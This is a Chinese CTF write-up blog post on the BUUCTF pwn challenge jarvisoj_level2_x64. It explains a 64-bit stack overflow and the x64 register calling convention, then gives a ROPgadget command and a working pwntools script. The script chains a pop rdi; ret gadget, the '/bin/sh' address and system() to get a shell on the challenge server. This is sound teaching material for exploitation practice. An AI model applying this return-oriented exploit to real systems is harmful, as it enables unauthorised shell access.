BUU pwn jarvisoj_level2_x64 64位函数调用栈

jarvisoj_level2_x64

文件是64位ELF文件

IDA查看函数vuln,明显栈溢出
image

查看字符串,发现存在'/bin/sh',地址为0x600A90
image

查看函数,发现存在system函数,地址为0x4004c0。注意不能用下面那个extern的外部system函数
image

现在只要让函数返回到system,并传入参数'/bin/sh'就行了

64位程序函数调用时的操作和32位有所不同。32位程序函数调用时,依次将子函数的参数从右到左入栈,然后再压栈eip和ebp。64位程序如果子函数的参数数量<=6个,则会将参数从左到右依次存入rdi,rsi,rdx,rcx,r8,r9这6个寄存器中,如果还有参数,则像32位一样压栈。所以64位函数调用后,子函数运行时会先将参数从寄存器里pop出来,也就是会执行pop rdi; ret指令

本题中给出了system()函数的地址,以及'/bin/sh'字符串的地址,那么如何覆盖呢?首先用128+8个字节覆盖掉buf和rbp,然后是pop rdi; ret指令的地址,再接着是'/bin/sh'字符串的地址,最后是system()函数的地址。流程为:子函数返回到pop rdi; ret处,该指令会将当前栈顶的元素('/bin/sh'字符串的地址)出栈并存入rdi中,并返回到下一条指令处。此时栈中就只有system()函数的地址了,所以下一条指令正是system(),而它需要的参数正好就在rdi寄存器中,这样就执行了system('/bin/sh')
image

pop rdi; ret指令的地址通过Linux下的ROPgadget工具查找

ROPgadget --binary ./Desktop/level2_x64 --only "pop|ret"

image

payload如下

from pwn import *
r = remote("node4.buuoj.cn",28104)
payload = b'a'*(128+8)+p64(0x4006b3)+p64(0x600A90)+p64(0x4004C0)
r.sendline(payload)
r.interactive()

image

posted @ 2023-03-15 15:23  Nemuzuki  阅读(442)  评论(0编辑  收藏  举报